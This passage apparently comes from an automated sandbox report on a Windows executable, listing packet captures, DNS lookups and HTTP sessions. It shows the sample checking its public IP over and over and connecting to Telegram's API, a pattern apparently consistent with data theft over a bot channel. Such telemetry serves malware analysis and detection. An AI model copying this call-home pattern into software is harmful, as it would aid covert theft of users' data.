Jan 10, 2025 23:12:52.794836044 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:52.794926882 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:52.795011997 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:52.795340061 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:52.795368910 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:52.836716890 CET	50041	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:53.419691086 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:53.421681881 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:53.421715975 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:53.421998024 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:53.422008038 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:53.725212097 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:53.725281000 CET	443	50042	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:53.725409031 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:53.725974083 CET	50042	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:53.729456902 CET	50041	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:53.730715990 CET	50043	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:53.734409094 CET	80	50041	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:53.734488964 CET	50041	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:53.735505104 CET	80	50043	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:53.735584021 CET	50043	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:53.735686064 CET	50043	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:53.740442038 CET	80	50043	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:54.435216904 CET	80	50043	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:54.436674118 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:54.436708927 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:54.436793089 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:54.437172890 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:54.437181950 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:54.477200031 CET	50043	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:55.061243057 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:55.062922001 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.062952995 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:55.062998056 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.063003063 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:55.278768063 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:55.278881073 CET	443	50044	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:55.278925896 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.279334068 CET	50044	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.285514116 CET	50043	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:55.288007975 CET	50045	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:55.290591955 CET	80	50043	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:55.290663004 CET	50043	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:55.292889118 CET	80	50045	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:55.292963982 CET	50045	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:55.293111086 CET	50045	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:55.297944069 CET	80	50045	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:55.965363026 CET	80	50045	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:55.966485023 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.966535091 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:55.966603994 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.966882944 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:55.966900110 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:56.008415937 CET	50045	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:56.592690945 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:56.594420910 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:56.594449997 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:56.595352888 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:56.595360041 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:56.980452061 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:56.980664968 CET	443	50046	149.154.167.220	192.168.2.9
Jan 10, 2025 23:12:56.980915070 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:56.981231928 CET	50046	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:12:56.984549046 CET	50045	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:56.985822916 CET	50047	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:56.989628077 CET	80	50045	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:56.989706039 CET	50045	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:56.990609884 CET	80	50047	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:56.990678072 CET	50047	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:56.990768909 CET	50047	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:12:56.995518923 CET	80	50047	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:57.696752071 CET	80	50047	132.226.247.73	192.168.2.9
Jan 10, 2025 23:12:57.742858887 CET	50047	80	192.168.2.9	132.226.247.73
Jan 10, 2025 23:13:00.704706907 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:13:00.704771042 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:00.704937935 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:13:00.705246925 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:13:00.705270052 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:01.338464022 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:01.340259075 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:13:01.340276003 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:01.340342999 CET	50048	443	192.168.2.9	149.154.167.220
Jan 10, 2025 23:13:01.340351105 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:01.679380894 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:01.679464102 CET	443	50048	149.154.167.220	192.168.2.9
Jan 10, 2025 23:13:01.679619074 CET	50048	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:11:46.504569054 CET	54641	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:11:46.511576891 CET	53	54641	1.1.1.1	192.168.2.9
Jan 10, 2025 23:11:47.580527067 CET	62179	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:11:47.587179899 CET	53	62179	1.1.1.1	192.168.2.9
Jan 10, 2025 23:11:51.673094988 CET	62003	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:11:51.680149078 CET	53	62003	1.1.1.1	192.168.2.9
Jan 10, 2025 23:11:53.078085899 CET	51483	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:11:53.086281061 CET	53	51483	1.1.1.1	192.168.2.9
Jan 10, 2025 23:11:59.357623100 CET	60191	53	192.168.2.9	1.1.1.1
Jan 10, 2025 23:11:59.364669085 CET	53	60191	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:11:46.504569054 CET	192.168.2.9	1.1.1.1	0x1210	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:47.580527067 CET	192.168.2.9	1.1.1.1	0x61d8	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:51.673094988 CET	192.168.2.9	1.1.1.1	0xa6d2	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.078085899 CET	192.168.2.9	1.1.1.1	0x902b	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:59.357623100 CET	192.168.2.9	1.1.1.1	0x1d74	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:11:46.511576891 CET	1.1.1.1	192.168.2.9	0x1210	No error (0)	drive.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:47.587179899 CET	1.1.1.1	192.168.2.9	0x61d8	No error (0)	drive.usercontent.google.com		142.250.181.225	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:51.680149078 CET	1.1.1.1	192.168.2.9	0xa6d2	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:11:51.680149078 CET	1.1.1.1	192.168.2.9	0xa6d2	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:51.680149078 CET	1.1.1.1	192.168.2.9	0xa6d2	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:51.680149078 CET	1.1.1.1	192.168.2.9	0xa6d2	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:51.680149078 CET	1.1.1.1	192.168.2.9	0xa6d2	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:51.680149078 CET	1.1.1.1	192.168.2.9	0xa6d2	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:53.086281061 CET	1.1.1.1	192.168.2.9	0x902b	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:11:59.364669085 CET	1.1.1.1	192.168.2.9	0x1d74	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49975	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:11:51.689646006 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:11:52.399348974 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:11:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 23:11:52.404653072 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:11:52.623148918 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:11:52 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 23:11:59.138529062 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:11:59.353190899 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:11:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49978	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:00.514538050 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:12:01.186801910 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:01 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49980	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:02.053879976 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 23:12:02.727355957 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49982	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:03.600290060 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:04.286410093 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49984	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:05.274123907 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:05.984201908 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:05 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49986	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:06.816690922 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:07.507061958 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49988	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:08.403481007 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:09.103066921 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:08 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49990	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:10.002064943 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:10.675221920 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49993	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:11.637964964 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:12.316365957 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49995	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:13.293323040 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:13.975909948 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49997	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:14.874728918 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:15.584177971 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49999	132.226.247.73	80	1072	C:\Users\user\Desktop\rXKfKM0T49.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 23:12:17.141777039 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 23:12:17.826138973 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 22:12:17 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
